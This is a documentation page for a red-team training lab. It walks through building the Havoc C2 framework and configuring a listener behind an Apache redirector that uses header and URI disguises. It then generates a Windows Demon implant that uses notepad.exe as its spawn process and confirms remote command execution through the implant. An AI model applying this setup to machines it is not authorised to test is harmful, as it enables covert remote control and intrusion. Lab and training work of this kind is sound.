Skip to main content
Havoc is a modern open-source C2 framework developed by Paul Ungur (5pider) with a focus on evasion and advanced post-exploitation techniques. It features a Qt-based GUI client that connects to a remote teamserver — similar in model to Cobalt Strike. Havoc’s agents (called Demons) are written in C and include features like indirect syscalls and sleep obfuscation, making it well-suited for practicing modern detection and evasion techniques. Access model: The Havoc GUI client runs directly on the Havoc server inside an XFCE4 desktop session. You access it through Guacamole via VNC — no local client install is required.
Unlike Mythic and Sliver, Havoc is not pre-built. The Go compiler, Havoc source, and Qt5 GUI client are compiled on first use. This is a one-time step that takes 15–25 minutes. SSH and VNC are available immediately after boot; the build runs as a manual step.
The goal here is not to learn Havoc. The objective is to confirm the environment works end-to-end: get a Windows .exe Demon calling back through the redirector. Once you have a callback, the lab is proven functional. For full documentation, see the Havoc Framework docs.

Step 1: Build Havoc

Connect to the Havoc server via Guacamole → Havoc C2 Server (SSH), then run the build script:
~/build_havoc.sh
The script logs everything to ~/havoc_build.log. It is safe to re-run if anything fails. What the build script does:
  1. Installs Go 1.22.5 to /usr/local/go/
  2. Clones the latest Havoc release from GitHub to /opt/Havoc/
  3. Copies the pre-configured teamserver profile to /opt/Havoc/profiles/default.yaotl
  4. Builds the teamserver binary: /opt/Havoc/teamserver/teamserver
  5. Builds the Qt5 GUI client: /opt/Havoc/client/Havoc
  6. Creates the havoc-client wrapper script at /usr/local/bin/havoc-client
  7. Enables and starts the havoc systemd service
When complete, the terminal shows:
===== Havoc Build Complete ...

  Teamserver:   sudo systemctl status havoc
  Profile:      /opt/Havoc/profiles/default.yaotl
  Client:       havoc-client client
  VNC:          Reconnect via Guacamole — client autostarts on desktop
You can monitor progress in a separate terminal while the build runs:
tail -f ~/havoc_build.log

Step 2: Verify the teamserver

The build script starts the teamserver automatically. Confirm it is running:
sudo systemctl status havoc
The teamserver listens on port 40056 using the profile at /opt/Havoc/profiles/default.yaotl. Operator credentials (same lab password used across all machines — retrieve from terraform output deployment_info):
FieldValue
Usernameoperator
Password<lab-password from deployment_info>
If the teamserver starts and immediately crashes, a stale database from a previous deployment may be the cause. Delete it and restart:
rm /opt/Havoc/teamserver/data/teamserver.db
sudo systemctl restart havoc

Step 3: Connect the Havoc client

Havoc has two separate Guacamole connections. Havoc C2 Server (SSH) gives terminal-only access for checking service status and logs. Havoc C2 Desktop (VNC) opens the full XFCE4 desktop where the GUI client runs. The Havoc client can only be used from the VNC session.
In the Guacamole portal, click Havoc C2 Desktop (VNC). An XFCE4 desktop loads. Double-click the Havoc Client icon on the desktop. If prompted that the file is not executable, click Mark Executable, then double-click again to launch. If the desktop icon is not present, open an XFCE terminal and run:
havoc-client client
When the login dialog appears, enter:
FieldValue
Nameoperator
Hostlocalhost
Port40056
Usernameoperator
Password<lab-password>

Step 4: Create a listener

Before creating the listener, retrieve your X-Request-ID token — it gets baked into the Demon at generation time:
terraform output deployment_info
# Look for: C2 Header: X-Request-ID: <token>
In the Havoc client, navigate to View → Listeners → Add and configure the following fields:
FieldValue
PayloadHttp
Hostsyourdomain.tld — or <REDIR_PUBLIC_IP> for closed/IP-only environments — then click Add
Host (Bind)0.0.0.0
PortBind80
PortConn80
Uris/edge/cache/assets/update — then click Add (all URIs must start with /edge/cache/assets/)
HeadersX-Request-ID: <token> — then click Add (no quotes around the token value)
Click Save.
The Hosts value is the callback address baked into the Demon. The Uris and Headers are embedded in every Demon generated from this listener. The Apache redirector validates the URI prefix and the X-Request-ID header, then forwards the full path (prefix intact) as plain HTTP to Havoc on port 80.Unlike Mythic and Sliver, Havoc receives the full URI path including the prefix. This is why all URIs must start with /edge/cache/assets/.

Step 5: Generate a Demon

In the Havoc client, navigate to Attack → Payloads.
1

Select the listener

Select the listener you just created.
2

Set agent options

FieldValue
Archx64
FormatWindows Exe
3

Configure injection settings

Expand the Injection section and fill in both spawn process fields:
FieldValue
Spawn64C:\Windows\System32\notepad.exe
Spawn32C:\Windows\SysWOW64\notepad.exe
The Spawn64 and Spawn32 fields are required. Leaving either blank causes a silent build error — the Generate button will appear to succeed but no file will be produced.
4

Generate

Click Generate. The Demon executable is saved to /home/admin/Desktop/demon.x64.exe on the Havoc server.

Step 6: Deploy and test

1

Transfer the Demon to the Windows workstation

From the Windows workstation (via Guacamole RDP or MobaXterm), pull the file from the Havoc server:
scp admin@havoc:/home/admin/Desktop/demon.x64.exe C:\Users\Administrator\Desktop\demon.x64.exe
Authenticate with the lab SSH password when prompted.
2

Execute the Demon

Double-click demon.x64.exe in File Explorer on the Windows workstation.
3

Confirm callback

In the Havoc client, watch the Sessions panel. A new session should appear within a few seconds.
4

Run a test command

Right-click the session → Interact. In the terminal that opens, run:
shell whoami
Expected output: win-operator\administrator
5

Monitor redirector traffic

SSH to the redirector and watch the HTTPS access log:
sudo tail -f /var/log/apache2/redirector-ssl-access.log
Look for requests to paths under /edge/cache/assets/. Unlike Mythic and Sliver, the full path including the prefix is visible in the log because Havoc receives it unstripped.

Verify all three C2 backends

With all three C2 listeners running, confirm the redirector can reach all backends:
sudo /home/admin/test_redirector.sh
All three entries under Testing direct backend connectivity should show OK.

Teamserver profile reference

The teamserver profile is pre-configured at deploy time and copied to /opt/Havoc/profiles/default.yaotl by the build script.
cat /opt/Havoc/profiles/default.yaotl
Key settings:
SettingValue
Teamserver host0.0.0.0 (all interfaces)
Teamserver port40056
Compiler (64-bit)/usr/bin/x86_64-w64-mingw32-gcc
Compiler (32-bit)/usr/bin/i686-w64-mingw32-gcc
Assembler/usr/bin/nasm
Demon sleep2 seconds
Demon jitter0
Operator useroperator
sudo journalctl -u havoc -f
Or check the systemd service status for a compact summary:
sudo systemctl status havoc

Reference

Havoc Framework docs

Official documentation for the Havoc C2 framework.

Havoc on GitHub

Source code for the Havoc teamserver and client.

Redirector security layers

How the Apache redirector validates headers and routes URI prefixes.

Troubleshooting

Debug Havoc build failures, service crashes, and callback issues.

Build docs developers (and LLMs) love